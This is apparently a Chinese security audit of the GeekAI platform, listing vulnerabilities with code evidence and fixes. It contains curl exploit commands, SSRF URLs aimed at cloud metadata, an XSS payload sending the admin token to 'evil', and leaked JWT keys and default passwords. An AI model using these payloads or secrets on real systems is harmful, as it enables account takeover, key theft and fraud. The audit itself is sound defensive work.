GeekAI 代码安全审计报告
| 项目 | 内容 |
|---|---|
| 审计对象 | /geekai |
| 项目名称 | GeekAI — 一站式 AI 创意生产力平台(v4.3.0,Apache-2.0) |
| 代码来源 | Gitee blackfox/geekai(含 database/、docker/ 初始化数据;本次审计树 HEAD 3e66c5ac,工作区干净) |
| 审计日期 | 2026-09-09 |
| 审计方式 | 白盒静态审计(read-only):源码走查 + 调用链追踪 + 关键路径交叉验证(3 个并行深度审计:支付/订单、文件上传与存储、前端) |
| 技术栈 | 后端 Go 1.24 + Gin + GORM/MySQL + Redis + LevelDB;前端 Vue3 + Vite + Element Plus/Vant;Electron 桌面端 |
| 审计范围 | api/(约 200 个 Go 文件 / 2.9 万行)、web/src/(142 个 Vue 组件)、docker/、database/、根目录配置文件 |
| 未覆盖 | 运行时/黑盒渗透、依赖 CVE 自动扫描(建议补跑 govulncheck、npm audit)、第三方服务侧配置 |
结论速览:当前代码不建议直接暴露在公网生产环境。 存在多个未授权即可利用的严重问题:管理后台接口大面积缺失鉴权、系统集成密钥可被匿名读取、仓库内置默认凭据、客户端可指定
user_id冒充他人、前端 Markdown 渲染存在可升级为管理员接管的存储型 XSS。支付侧还存在金额不校验、入账非幂等等资金风险。修复后仍需补充速率限制、验证码生命周期、密钥轮换、出网白名单等基础加固。
1. 风险统计
| 等级 | 数量 | 说明 |
|---|---|---|
| 🔴 严重 (Critical) | 7 | 未授权即可造成数据泄露、资金/算力损失或管理员接管 |
| 🟠 高危 (High) | 11 | 需要普通账号或特定条件,可造成账号接管 / SSRF / 越权 / 资金损失 |
| 🟡 中危 (Medium) | 16 | 需组合利用或特定部署条件,影响机密性/完整性/可用性 |
| 🔵 低危/信息 (Low/Info) | 15 | 加固项与最佳实践 |
漏洞清单
| 编号 | 等级 | 漏洞 | 位置(入口) |
|---|---|---|---|
| C-01 | 🔴 严重 | 多个管理后台接口完全未鉴权(可读写订单/商品/兑换码/菜单/统计) | api/handler/admin/* |
| C-02 | 🔴 严重 | 匿名可读取全部系统集成密钥(支付私钥、OSS/SMS/SMTP、AI Key) | GET /api/config/get |
| C-03 | 🔴 严重 | 仓库内置默认管理员/用户凭据与 JWT 签名密钥 | docker/conf/config.toml、database/*.sql、web/.env.development |
| C-04 | 🔴 严重 | 聊天接口信任客户端 user_id,可冒充任意用户、盗刷其算力、写入其会话 |
POST /api/chat/message |
| C-05 | 🔴 严重 | 未授权导出/创建兑换码,免费领取算力并窃取全部卡密 | /api/admin/redeem/* |
| C-06 | 🔴 严重 | 前端 Markdown html:true + v-html 无消毒,用户可控内容可在管理后台执行脚本 |
web/src/views/admin/records/* |
| C-07 | 🔴 严重 | 微信登录回调未验签,可伪造任意 openid 登录 |
POST /api/user/login/callback |
| H-01 | 🟠 高危 | 匿名开放代理 SSRF:/api/download?url= 可读取内网/云元数据 |
api/handler/net_handler.go |
| H-02 | 🟠 高危 | 聊天文件解析 / PPT 导入 SSRF,内网内容可回显给攻击者 | chat_handler.go、ppt_task_handler.go |
| H-03 | 🟠 高危 | 验证码永久有效 + 无频控 + 无尝试限制 → 爆破重置任意账号密码 | sms_handler.go、user_handler.go |
| H-04 | 🟠 高危 | 用户 JWT 存放于 localStorage,与 C-06 组合导致账号接管 | web/src/store/session.js |
| H-05 | 🟠 高危 | 上传无扩展名白名单,.html/.svg 可写入 /static 形成存储型 XSS |
utils/upload.go、net_handler.go |
| H-06 | 🟠 高危 | /api/function/image3 信任请求体 user_id,消耗他人算力 |
api/handler/function_handler.go |
| H-07 | 🟠 高危 | 邀请码可自邀刷算力 + 注册无频控/无验证码 | user_handler.go、invite_handler.go |
| H-08 | 🟠 高危 | 密码哈希无工作因子(SHA3 单轮),盐/验证码用 math/rand | utils/strings.go |
| H-09 | 🟠 高危 | 即梦/视频任务 SSRF:audio_url、video_url、params.input_reference 服务端任意拉取 |
jimeng_handler.go、sora_adapter.go |
| H-10 | 🟠 高危 | 支付回调不校验实付金额与订单金额是否一致 → 金额篡改 | api/handler/payment_handler.go:345-401 |
| H-11 | 🟠 高危 | 支付成功入账非原子/非幂等 → 重复加算力 | payment_handler.go:345-401、user_service.go:23-52 |
| M-01 | 🟡 中危 | 未授权读取聊天历史/详情(越权,chat_id 由前端 Math.random 生成) |
GET /api/chat/history、/detail |
| M-02 | 🟡 中危 | MJ 任务删除/发布按查询参数 user_id 鉴权(IDOR) |
api/handler/mj_handler.go |
| M-03 | 🟡 中危 | 全站几乎无速率限制,登录/短信/注册可被暴力破解与短信轰炸 | 全局 |
| M-04 | 🟡 中危 | Gin 默认信任所有代理,X-Forwarded-For 可伪造以绕过 IP 限流 |
core/app_server.go |
| M-05 | 🟡 中危 | 支付网关 TLS 关闭证书校验 + 商户密钥经 URL 明文传输 | service/payment/epay_service.go |
| M-06 | 🟡 中危 | 算力增减用进程内互斥锁 + 先查后改,多副本下存在竞态/透支 | service/user_service.go |
| M-07 | 🟡 中危 | 缩略图中间件路径穿越 + 负值/超大尺寸内存 DoS(可匿名) | core/middleware/thumb.go |
| M-08 | 🟡 中危 | PPT 本地文件映射 filepath.Join 可路径穿越(潜在任意文件读取) |
service/ppt/export.go |
| M-09 | 🟡 中危 | ?token= 直接写入登录态(会话固定/令牌经 URL 泄露) |
web/src/views/Login.vue |
| M-10 | 🟡 中危 | 任意 URL 无沙箱 iframe + 支付/菜单 URL 直接跳转 | ExternalPage.vue 等 |
| M-11 | 🟡 中危 | 用户上传接口无大小限制,可耗尽磁盘 | api/handler/net_handler.go |
| M-12 | 🟡 中危 | LocalStorage.Delete 未限定目录,潜在任意文件删除 |
api/service/oss/localstorage.go |
| M-13 | 🟡 中危 | 支付宝回调未验签,且查询响应也未开启验签(依赖 TLS) | payment_handler.go:404-427、alipay_service.go:46-92 |
| M-14 | 🟡 中危 | 金额用 float64 存储、微信金额 int(amount*100) 截断 → 少付多得 |
store/model/{product,order}.go、payment_handler.go:221 |
| M-15 | 🟡 中危 | 下单不校验商品启用状态与价格边界 | payment_handler.go:186-206 |
| M-16 | 🟡 中危 | 兑换码核销与加算力不在同一事务,可重复兑换 | redeem_handler.go:76-98、user_service.go:27 |
| L-01 | 🔵 低危 | JWT 无标准 exp/iat,v3/v5 混用,checkAuth 不校验 Redis 会话 |
core/middleware/auth.go、function_handler.go |
| L-02 | 🔵 低危 | AES-CBC 固定 IV(key 前 16 字节)且无完整性校验(当前为死代码) | utils/crypto.go |
| L-03 | 🔵 低危 | 启动时向外部上报主机指纹(HostID) |
core/app_server.go |
| L-04 | 🔵 低危 | 状态变更接口使用 GET(remove/clear/publish/logout) |
多处 |
| L-05 | 🔵 低危 | 雪花算法 workerID=0,订单号含时间戳、可枚举 |
service/snowflake.go |
| L-06 | 🔵 低危 | 默认配置未生成 AdminSession,缺失时管理员 JWT 密钥为空 |
core/config.go |
| L-07 | 🔵 低危 | 订单查询接口未按用户过滤 | api/handler/order_handler.go |
| L-08 | 🔵 低危 | 依赖版本陈旧(axios 0.27.2 等) |
web/package.json、api/go.mod |
| L-09 | 🔵 低危 | Docker 编排暴露 MySQL/Redis/API 端口并使用仓库内硬编码口令 | docker/docker-compose.yaml |
| L-10 | 🔵 低危 | 前端反向标签劫持、无 CSP、管理员路由仅前端守卫 | web/src/** |
| L-11 | 🔵 低危 | 下载临时文件使用可预测路径且从不清理 | utils/file.go |
| L-12 | 🔵 低危 | 每日签到「先查后写」竞态,可重复领取 | user_handler.go:752-775 |
| L-13 | 🔵 低危 | 各任务失败退款循环非幂等,可能重复退算力 | image/mj/video/suno/jimeng 服务 |
| L-14 | 🔵 低危 | 订单 ProductId 从未写入,销量统计失效 |
payment_handler.go:325-335、:394-395 |
| L-15 | 🔵 低危 | 算力日志 amount 为 smallint 可能溢出;SyncOrders 超时硬编码与配置不一致 |
store/model/power_log.go、payment_handler.go:117 |
2. 严重漏洞详情
C-01 管理后台接口大面积缺失鉴权 🔴
位置:api/handler/admin/ 下 7 个 handler 的 RegisterRoutes() 未挂载 AdminAuthMiddleware:
| 文件 | 未受保护的路由前缀 | 影响 |
|---|---|---|
dashboard_handler.go:32-35 |
/api/admin/dashboard/stats |
泄露用户数、订单数、收入、最近订单/用户 |
order_handler.go:33-38 |
/api/admin/order/list|remove|clear |
读取全部订单(含用户名、金额、支付渠道)、删除/清空订单 |
product_handler.go:33-40 |
/api/admin/product/save|list|enable|sort|remove |
任意修改商品价格与赠送算力、删除商品 |
redeem_handler.go:33-40 |
/api/admin/redeem/list|create|set|remove|export |
读取/导出全部兑换码、批量创建兑换码(见 C-05) |
menu_handler.go:30-36 |
/api/admin/menu/save|list|enable|sort|remove |
篡改站点菜单(挂马/钓鱼/删站) |
jimeng_handler.go:39-45 |
/api/admin/jimeng/* |
读取任务、覆盖即梦 AI 配置(AccessKey/SecretKey) |
power_log_handler.go:32-36 |
/api/admin/powerLog/list |
读取全站算力流水 |
证据(对比写法差异):
// api/handler/admin/redeem_handler.go:33 —— 没有任何 Use(...) 鉴权
func (h *RedeemHandler) RegisterRoutes() {
group := h.App.Engine.Group("/api/admin/redeem/")
group.GET("list", h.List)
group.POST("create", h.Create)
group.POST("set", h.Set)
group.GET("remove", h.Remove)
group.POST("export", h.Export)
}
// api/handler/admin/user_handler.go:45-48 —— 正确写法(对照组)
group.Use(middleware.AdminAuthMiddleware(h.App.Config.AdminSession.SecretKey, h.App.Redis))
经 grep -rn "AdminAuthMiddleware" 全量核对:这 7 个文件中没有任何 AdminAuthMiddleware、GetAdminId 或等价内部校验;core/app_server.go:47-49 只装了 ThumbMiddleware、ParameterHandlerMiddleware、errorHandler,main.go 也没有对 /api/admin 的全局守卫;Nginx(docker/conf/nginx/conf.d/geekai.conf:28-39)对 /api/ 也不做鉴权。已确认该问题存在于上游 Gitee 主分支,非本地改动。
利用示例(无需任何凭据):
# 读取全站经营数据
curl http://target:5678/api/admin/dashboard/stats
# 读取全部订单
curl -X POST http://target:5678/api/admin/order/list -H 'Content-Type: application/json' -d '{"page":1,"page_size":100}'
# 把某个套餐改成 0.01 元 / 100 万算力
curl -X POST http://target:5678/api/admin/product/save -H 'Content-Type: application/json' \
-d '{"id":1,"name":"超值套餐","price":0.01,"power":1000000,"enabled":true}'
# 清空全部订单(破坏数据)
curl http://target:5678/api/admin/order/clear
修复:为每个 /api/admin/* 路由组统一挂载 AdminAuthMiddleware;更稳妥的做法是在 core/app_server.go 中对 /api/admin 前缀注册全局中间件,再对 login/logout 显式放行。同时为写操作增加超级管理员二次校验与审计日志,并补一个「无 token 访问 /api/admin/* 应返回 401」的自动化测试。
C-02 匿名读取全部系统集成密钥 🔴
位置:api/handler/config_handler.go:38-44(公开路由)、:47-74(读取逻辑)
func (h *ConfigHandler) RegisterRoutes() {
group := h.App.Engine.Group("/api/config/")
group.GET("get", h.Get) // 无需授权
group.GET("oss/thumb", h.GetOssThumbTemplate)
}
func (h *ConfigHandler) Get(c *gin.Context) {
key := c.Query("key")
...
// 仅对微信公众号配置做脱敏
if key == types.ConfigKeyWxGzh {
delete(value, "secret"); delete(value, "token"); delete(value, "encoding_aes_key")
}
resp.SUCCESS(c, value) // 其余配置原样返回
}
配置键常量(core/types/config.go:105-121)包含 payment、oss、sms、smtp、wx_login、captcha、jimeng、moderation。对应结构体均含明文密钥:
core/types/payment.go:14PrivateKey(支付宝应用私钥)、:33PrivateKey/ApiV3Key(微信商户私钥/APIv3 密钥)、:50PrivateKey(易支付商户密钥)core/types/oss.go:21-22等:MinIO/七牛/阿里云/腾讯云AccessKey/AccessSecretcore/types/jimeng.go:6-9:即梦AccessKey/SecretKey/ApiKeycore/types/sms.go、core/types/smtp相关:短信/邮件口令
利用:
curl 'http://target:5678/api/config/get?key=payment' # 拿到支付宝/微信/易支付私钥
curl 'http://target:5678/api/config/get?key=oss' # 拿到对象存储 AK/SK
curl 'http://target:5678/api/config/get?key=jimeng' # 拿到火山引擎 AK/SK
curl 'http://target:5678/api/config/get?key=smtp' # 拿到邮箱口令
影响:可直接操作受害者的支付账户、云存储、短信/邮件通道与 AI 账号,造成资金损失、数据泄露与冒名发送。属于可匿名触发的最高优先级问题。
修复:/api/config/get 改为白名单——仅允许前端渲染真正需要的 system/notice/agreement/privacy/mark_map 等非敏感键,且对返回字段做显式白名单;支付/OSS/SMS/SMTP/AI 等敏感配置只能通过已鉴权的管理接口读取,并对敏感字段做掩码(如 ****abcd)。已泄露的密钥必须立即轮换。
C-03 仓库内置默认凭据与 JWT 签名密钥 🔴
位置与证据:
- 默认管理员(
database/geekai_plus-v4.2.6.sql:74、docker/data/mysql/init.d/geekai_plus.sql:50):
INSERT INTO `geekai_admin_users` (...) VALUES
(1, 'admin', '6d17e80c87d209efb84ca4b2e0824f549d09fac8b2e1cc698de5bb5e1d75dfd0', 'mmrql75o', 1, ...);
已实测验证:SHA3-256("admin123" + "mmrql75o") 等于该哈希,即 默认口令 admin / admin123。同时 web/.env.development:3-6 明示 VITE_ADMIN_USER=admin、VITE_ADMIN_PASS=admin123,登录页会预填。
-
默认普通用户:
18888888888 / 12345678(web/.env.development+ SQL 种子数据实测一致)。 -
JWT 签名密钥与数据库/Redis 口令硬编码在仓库中(
docker/conf/config.toml、api/config.sample.toml):
[Session]
SecretKey = "azyehq3ivunjhbntz78isj00i4hz2mt9xtddysfucxakadq4qbfrt0b7q3lnvg80"
[AdminSession]
SecretKey = "wr1uzwz2meai4z9j0e0tsyf6x523ui6zpnyaim4x2x37meakv13349llqpipyk40"
[Redis]
Password = "mhSCk0NheGhmtsha"
docker/docker-compose.yaml:9,28 的 MySQL/Redis 口令与之一致,且默认映射到宿主机 3307/6380,API 5678、Web 8080 也直接对外。
影响:由于密钥公开,攻击者可自行用 Session.SecretKey/AdminSession.SecretKey 签发任意 user_id 的 JWT。但需注意:鉴权中间件还会校验 Redis 中是否存在对应会话键(users/<id>、admin/<id>),因此伪造 token 要真正生效,需先通过 C-01 等途径向 Redis 写入该键,或直接使用默认口令登录。即便存在这一层缓解,默认口令 + 公开密钥 + 暴露端口的组合已足以在真实部署中接管系统。
修复:首次启动强制引导管理员改密;安装脚本生成随机密钥并写入私有配置(不要入库、不要进版本库);Docker 端口默认不对外映射或绑定 127.0.0.1;config.sample.toml 用占位符而非真实密钥;.env.* 移除任何账号口令。
C-04 聊天接口信任客户端 user_id(水平越权 / 算力盗刷)🔴
位置:api/handler/chat_handler.go
// :52 请求体直接包含 user_id
type ChatInput struct {
UserId uint `json:"user_id"`
ChatId string `json:"chat_id"`
...
}
// :131 并发锁也按客户端传入的 user_id 加锁
if !h.userLocks.TryLock(input.UserId) { ... }
// :194-196 按客户端传入的 user_id 从数据库加载用户
func (h *ChatHandler) sendMessage(ctx context.Context, input ChatInput, c *gin.Context) error {
var user model.User
res := h.DB.Model(&model.User{}).First(&user, input.UserId)
...
}
// :723-741 聊天记录也写入该 user_id
chatItem.UserId = userVo.Id
整个链路从未使用鉴权中间件写入的 types.LoginUserID(h.GetLoginUserId(c)),而 input.UserId 完全来自客户端 JSON。
利用:任意注册用户构造 {"user_id": <受害者ID>, "chat_id": "<受害者会话>", "prompt": "..."}:
- 以受害者身份发起对话、扣减受害者算力(
:720subUserPower); - 把新消息写入受害者的会话(
:723),结合 M-01 可读取; - 用
user_id=1触发并发锁,使受害者持续无法对话(DoS)。
修复:服务端一律以 h.GetLoginUserId(c) 为准,忽略请求体中的 user_id;ChatId 必须校验 user_id 归属。
C-05 未授权导出/创建兑换码,免费领取算力 🔴
位置:api/handler/admin/redeem_handler.go:33-40(无鉴权)、:94-150(导出)、:152-195(创建)、:197-215(任意列改写)
Export 会把数据库中全部兑换码(含未使用的)导出为 CSV,vo.Redeem 直接暴露 Code(api/store/vo/redeem.go:3-12):
for _, item := range items {
records = append(records, []string{item.Name, item.Code, fmt.Sprintf("%d", item.Power), ...})
}
Set 更可改写任意列(Update(data.Filed, data.Value),GORM 会转义标识符,非 SQLi,但可把 redeemed_at 重置为 0 使卡密可重复使用)。攻击路径:
POST /api/admin/redeem/create批量创建任意面额兑换码;GET /api/admin/redeem/list或POST /api/admin/redeem/export读取他人已生成但尚未使用的卡密;- 以普通用户身份
POST /api/redeem/verify逐一兑换(api/handler/redeem_handler.go:46),获得免费算力; - 或用
POST /api/admin/redeem/set把已有卡密的power改成任意值。
修复:同 C-01(补鉴权);兑换码导出需二次授权并留痕;卡密落库前加密/哈希、导出时掩码;Set 改为字段白名单。
C-06 前端 Markdown 渲染存储型 XSS(可升级为管理员接管)🔴
位置:web/src/** 中所有 markdown-it 实例均配置 html: true,并直接交给 v-html,全仓库不存在任何消毒库(DOMPurify 零命中)。
用户侧:
<!-- web/src/components/ChatReply.vue:12 -->
v-html="md.render(processContent(data.content.text))"
// web/src/components/ChatReply.vue:118-121
const md = new MarkdownIt({ breaks: true, html: true, linkify: true, typographer: true, ... })
// web/src/utils/libs.js:185-223 processContent() 只做图片链接与 <think> 替换,不做任何转义
管理后台(关键升级点):
<!-- web/src/views/admin/records/ChatList.vue:179 -->
<div class="chat-line" v-html="dialogContent"></div>
// web/src/views/admin/records/ChatList.vue:321-346
const md = MarkdownIt({ breaks: true, html: true, linkify: true, typographer: true, ... })
const showContent = (content) => { dialogContent.value = md.render(processContent(content)) }
<!-- web/src/views/admin/records/Suno.vue:132 / :178 -->
<div class="chat-line" v-html="lyrics"></div>
<div class="detail-value" v-html="md.render(currentDetail.prompt)" />
ChatList.vue 渲染的是普通用户提交的聊天内容,Suno.vue 渲染的是用户提交的歌词/提示词,均无需经过 LLM。
攻击链(严重):
- 攻击者注册普通账号;
- 发送一条内容为
<img src=x onerror="fetch('https://evil/?'+encodeURIComponent(localStorage['GeekAI_Admin-Authorization']))">的聊天消息,或提交同名 Suno 任务; - 管理员在后台「对话管理」点击该记录 / 「Suno 管理」查看歌词;
- 脚本以管理员上下文执行,读取
localStorage中的GeekAI_Admin-Authorization(web/src/store/session.js:10,32)并外传; - 攻击者用该 token 调用
/api/admin/*,完成管理员接管(用户、API Key、支付/短信/邮件配置全部可控)。
用户侧另有 AI 回复经 SSE 直接渲染的路径(web/src/views/ChatPlus.vue:822),可被提示注入触发;/chat/export 为公开路由(web/src/router.js:123-128)且同样 html:true,可扩大影响面。
修复:引入 DOMPurify 对所有 v-html 的 Markdown 输出消毒(DOMPurify.sanitize(md.render(x)));或将 html 设为 false 并把用户内容一律当纯文本;服务端对存储内容做输出编码;部署严格 CSP(script-src 'self',禁用 unsafe-inline)。
C-07 微信登录回调未验签,可伪造 openid 登录 🔴
位置:api/handler/user_handler.go:78(公开路由)、:447-470(回调)、:278-320(轮询换取 token)
// :78 公开注册
group.POST("login/callback", h.WxLoginCallback)
// :447-470 直接采信客户端提交的 openid,无任何签名/来源校验
func (h *UserHandler) WxLoginCallback(c *gin.Context) {
var data struct { OpenID string `json:"openid"`; State string `json:"state"` }
...
status := service.LoginStatus{ Status: service.LoginStatusSuccess, OpenID: data.OpenID }
h.wxLoginService.SetLoginStatus(data.State, status)
resp.SUCCESS(c, status)
}
随后 GET /api/user/login/status?state=<自己创建的 state> 会为该 openid 对应的用户签发 JWT(不存在则自动创建账号)。
利用:
STATE=$(curl -s 'http://target:5678/api/user/login/qrcode' | jq -r '.data.state')
curl -s -X POST 'http://target:5678/api/user/login/callback' \
-H 'Content-Type: application/json' -d "{\"openid\":\"<受害者openid>\",\"state\":\"$STATE\"}"
curl -s "http://target:5678/api/user/login/status?state=$STATE" # 返回受害者 token
若攻击者掌握任意用户的 openid(例如通过数据泄露、日志、公开种子数据),即可直接登录为该用户。
修复:回调必须由服务端验签(微信/第三方登录服务签名)或改为服务端到服务端回调并校验来源;state 与 openid 的绑定必须在服务端完成,且只能被消费一次。
3. 高危漏洞详情
H-01 匿名开放代理 SSRF:/api/download?url= 🟠
位置:api/handler/net_handler.go:49(公开路由)、:156-186
h.App.Engine.GET("/api/download", h.Download) // 无鉴权
...
req, _ := http.NewRequest("GET", c.Query("url"), nil)
client := &http.Client{} // 默认跟随重定向,无主机/IP 白名单,无超时,无大小限制
r, err := client.Do(req)
io.Copy(c.Writer, r.Body) // 原样回显
利用:/api/download?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/、http://127.0.0.1:3306、http://geekai-redis:6379 等可探测/读取内网服务与云凭证;亦可作为开放代理隐藏攻击来源、消耗带宽。重定向可达内网,绕过简单的字符串校验。
修复:禁止任意 URL 下载;如业务必需,做协议白名单(仅 https)、解析后 IP 黑名单(回环/私网/链路本地/ULA/元数据网段)、逐跳校验重定向、限制响应大小与超时;并加登录鉴权。
H-02 聊天文件解析 / PPT 导入 SSRF 🟠
位置:api/handler/chat_handler.go:345-366、api/handler/ppt_task_handler.go:218-235、api/utils/file.go:18-52,88-154、api/utils/net.go:107+
// chat_handler.go:355-362
} else if isTextURL(file.URL) { // 仅校验 URL 字符串后缀是 .txt/.doc/.docx/.pdf
content, err := utils.ReadFileContent(file.URL, h.App.Config.TikaHost)
fileContents = append(fileContents, fmt.Sprintf("%s 文件内容:%s", file.Name, content))
}
...
// :368-369 文件内容被拼进 prompt,模型回答会带回内容
finalPrompt = fmt.Sprintf("请根据提供的文件内容信息回答问题... %s ... 问题:%s", strings.Join(fileContents, "\n"), input.Prompt)
file.URL 完全来自请求体 input.Files。后缀校验可被绕过:path.Ext 作用于原始 URL 字符串,http://169.254.169.254/latest/meta-data/iam/security-credentials/?x=.pdf 的后缀被识别为 .pdf,而真实请求路径就是元数据路径;攻击者服务器 302 跳转到内网同样可绕过。
利用:提交 files:[{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/?x=.pdf","name":"a.txt"}],再让模型「原样复述文件内容」,即可把内网响应带回。PPT 的 CreateTaskFromFile(ppt_task_handler.go:121)同理。
修复:与 H-01 相同的主机/IP 白名单 + 逐跳校验;优先只允许访问本站对象存储的已上传文件;下载大小限制并清理临时文件。
H-03 验证码永久有效 + 无频控 → 爆破重置任意账号 🟠
位置:api/handler/sms_handler.go:51,79,115、api/handler/user_handler.go:623-676
// sms_handler.go:51 公开接口
group.POST("code", h.SendCode)
// sms_handler.go:79 验证码由 math/rand 生成(非密码学安全)
code := utils.RandomNumber(6)
// sms_handler.go:115 过期时间 0 = 永不过期
h.redis.Set(c, CodeStorePrefix+data.Receiver, code, 0)
ResetPass(:623)校验验证码后重置密码,无图形/滑块验证码、无发送频率限制、无失败次数限制,且验证码仅在成功时删除(:670)。全局唯一的限流中间件只挂在 api/handler/prompt_handler.go:49。
利用:对 /api/user/resetPass 用 6 位数字空间(10⁶)暴力枚举,即可重置任意已知邮箱/手机号账号的密码;同时 /api/sms/code 可被用于短信/邮件轰炸与费用消耗。
修复:验证码设置 5–10 分钟 TTL 并在校验失败/成功后立即删除;同一账号/IP/接收者做发送与校验频控;校验失败计数超限锁定;重置密码流程加人机验证;验证码改用 crypto/rand。
H-04 用户 JWT 存放于 localStorage 🟠
位置:web/src/store/session.js:9-34(good-storage 默认 localStorage)、web/src/utils/http.js:46-47
用户 token 与管理员 token 都以 GeekAI_Authorization / GeekAI_Admin-Authorization 明文存于 localStorage,任意同源脚本可读,与 C-06/H-05 组合即为账号接管。
修复:改为服务端下发的 HttpOnly; Secure; SameSite=Lax/Strict Cookie,并配套 CSRF 防护;或至少缩短有效期、分离管理端域。
H-05 上传无扩展名白名单,静态目录直接对外 🟠
位置:api/utils/upload.go:23-38、api/service/oss/localstorage.go:39-63、api/core/app_server.go:51
// upload.go:33-37 仅保留原始扩展名,无任何白名单/内容类型校验
if ext == "" { ext = filepath.Ext(filename) }
return fmt.Sprintf("%s/%d%s", dir, now.UnixMicro(), ext), nil
默认本地存储 BasePath=./static/upload(core/config.go:37-40),而 app_server.go:51 以 Engine.Static("/static", StaticDir) 对外服务,http.FileServer 按扩展名推断 Content-Type(.html→text/html、.svg→image/svg+xml);Nginx 也未加 X-Content-Type-Options: nosniff 或 CSP。任意登录用户上传 x.html/x.svg(内含脚本)后,把 /static/upload/... 链接发给受害者/管理员即触发存储型 XSS,脚本可读取 localStorage 中的用户与管理员 token。
修复:扩展名白名单 + 服务端嗅探真实类型 + 图片重编码;上传目录不与应用同源服务(独立域名),或统一加 Content-Disposition: attachment 与 nosniff;限制文件大小(见 M-11)。
H-06 /api/function/image3 信任请求体 user_id 🟠
位置:api/handler/function_handler.go:180-254
// :201 按请求体里的 user_id 加载用户
res = h.DB.Where("id = ?", params["user_id"]).First(&user)
...
// :243 扣减的是该用户的算力
err = h.userService.DecreasePower(user.Id, job.Power, ...)
checkAuth(:84-109)只验证 token 有效,未将其与 user_id 绑定。任意登录用户传入他人 user_id 即可消耗其算力、以他人身份生成图片。
修复:使用鉴权上下文中的用户 ID;checkAuth 增加 Redis 会话校验。
H-07 邀请码自邀刷算力 + 注册无频控 🟠
位置:api/handler/user_handler.go:97-188(注册)、:366-402(邀请奖励)、api/store/model/invite_code.go
createNewUser 对邀请码只做「存在即奖励」,不校验是否启用、是否有使用上限、邀请人是否为本人:
// :377-383
h.DB.Model(&model.InviteCode{}).Where("code = ?", code).UpdateColumn("reg_num", gorm.Expr("reg_num + ?", 1))
if h.App.SysConfig.Base.InvitePower > 0 {
err := h.userService.IncreasePower(inviteCode.UserId, h.App.SysConfig.Base.InvitePower, ...)
而 Register 在 reg_way 非 email/mobile 时完全跳过验证码(:136-152),且无速率限制。攻击者可用自己的邀请码批量注册小号,把 InvitePower 反复刷到主账号。
修复:邀请码增加启用状态、使用上限与「不可自邀」校验;注册增加人机验证与 IP/设备频控;对异常邀请速率告警。
H-08 密码哈希无工作因子、随机数非密码学安全 🟠
位置:api/utils/strings.go:93-97、:26-43
func GenPassword(pass string, salt string) string {
hash := sha3.Sum256([]byte(pass + salt)) // 单轮快速哈希,无 bcrypt/argon2 工作因子
return fmt.Sprintf("%x", hash)
}
func RandString(length int) string { // math/rand + 时间种子
r := rand2.New(rand2.NewSource(time.Now().UnixNano()))
...
}
func RandomNumber(bit int) int { // 丢弃了 NewSource 的返回值,实际用全局源
rand2.NewSource(time.Now().UnixNano())
return rand2.Intn(...)
}
盐值、邀请码、微信登录 state 均来自 RandString;短信/邮箱验证码来自 RandomNumber。这些都不应使用 math/rand。
修复:口令改用 bcrypt/argon2id(自带盐与工作因子);所有安全随机值改用 crypto/rand。
H-09 即梦/视频任务 SSRF(服务端任意拉取)🟠
位置:api/handler/jimeng_handler.go:319-344、api/utils/media_duration.go:85-113、api/handler/video_handler.go:65-71、api/service/video/adapters/sora_adapter.go:124-139,195-200,279-281
// jimeng_handler.go:AudioURL / VideoURL 来自用户请求
audioDuration, err := utils.AudioDurationFromURL(req.AudioURL) // :326
videoDuration, err := utils.VideoDurationMP4FromURL(req.VideoURL) // :337
// media_duration.go:85-113
resp, err := http.DefaultClient.Do(req) // 默认跟随重定向,无 IP 过滤,io.Copy 无大小上限
// video_handler.go:69 Params 为用户可控 map
Params map[string]any `json:"params"`
// sora_adapter.go:124-136 取 input_reference / images[0] / image
// sora_adapter.go:279-281
func downloadImageBytes(imageURL string) ([]byte, error) {
body, _, err := utils.FetchURLBytes(context.Background(), imageURL, "", 3*time.Minute, 2, 32<<20)
利用:POST /api/jimeng/task 传 {"task_type":"virtual_human","audio_url":"http://169.254.169.254/..."},或 POST /api/video/create 传 params.input_reference=http://169.254.169.254/...,即可让服务端拉取内网地址(并可能写入临时文件造成磁盘消耗)。
修复:统一封装出网客户端——协议白名单、DNS 解析后拒绝私网/链路本地/元数据地址、逐跳校验重定向、超时与 io.LimitReader;不要接受请求体中的任意 URL。
H-10 支付回调不校验实付金额与订单金额是否一致 🟠
位置:api/handler/payment_handler.go:345-401(paySuccess)、api/service/payment/pay_service.go:38
三个渠道都会填充 OrderInfo.Amount(alipay_service.go:83、wxpay_service.go:135,163、epay_service.go:186),但 paySuccess 只使用 OutTradeNo、PayTime、TradeId,从不比较实付金额与订单金额:
err = h.userService.IncreasePower(order.UserId, remark.Power, model.PowerLog{...}) // :373
...
order.Status = types.OrderPaidSuccess // :385
加算力用的是订单里服务端存储的 Remark.Power(这点正确),但只要网关允许付款人改动金额(易支付/聚合支付常见,或 M-05 的中间人场景),攻击者就可以开一个高价订单、只付 0.01 元,回调/轮询仍会按全额加算力。
修复:paySuccess 中校验 info.Amount == order.Amount(建议换算为整数分比较),并校验商户号/AppID 与订单渠道一致;不一致直接拒绝并告警。
H-11 支付成功入账非原子 / 非幂等 → 重复加算力 🟠
位置:api/handler/payment_handler.go:345-401、api/service/user_service.go:23-52
h.lock.Lock(); defer h.lock.Unlock() // 仅进程内互斥
...
if order.Status == types.OrderPaidSuccess { return nil } // :356 先查
err = h.userService.IncreasePower(order.UserId, remark.Power, ...) // :373 独立事务提交
...
order.Status = types.OrderPaidSuccess; h.DB.Debug().Updates(&order) // :385-388 后改
「先查状态再加算力再改状态」不是原子操作:若 :388 的状态更新失败、进程在 :373 与 :388 之间崩溃,或部署了多副本同时处理 notify/SyncOrders(:102-171),同一订单会被重复加算力。
修复:用条件更新抢占订单(UPDATE geekai_orders SET status=已支付 WHERE order_no=? AND status<>已支付),仅当 RowsAffected==1 时才加算力,并放在同一数据库事务里;幂等键加唯一约束。
4. 中危漏洞详情
M-01 未授权读取聊天历史/详情(越权)🟡
api/handler/chat_handler.go:98-99 将 detail、history 注册为公开路由;api/handler/chat_item_handler.go:132-161(History)与 :193-223(Detail)仅按 chat_id 查询,不校验归属:
// chat_item_handler.go:132-136
func (h *ChatHandler) History(c *gin.Context) {
chatId := c.Query("chat_id")
res := h.DB.Where("chat_id = ?", chatId).Find(&items) // 无 user_id 过滤
chat_id 由前端 getSessionId() → randString(42) 生成,而 web/src/utils/libs.js:15-24 使用的是 Math.random()(非密码学安全),存在被预测/关联的风险。Update(:71-87)同样只按 chat_id 改标题,可越权改名。
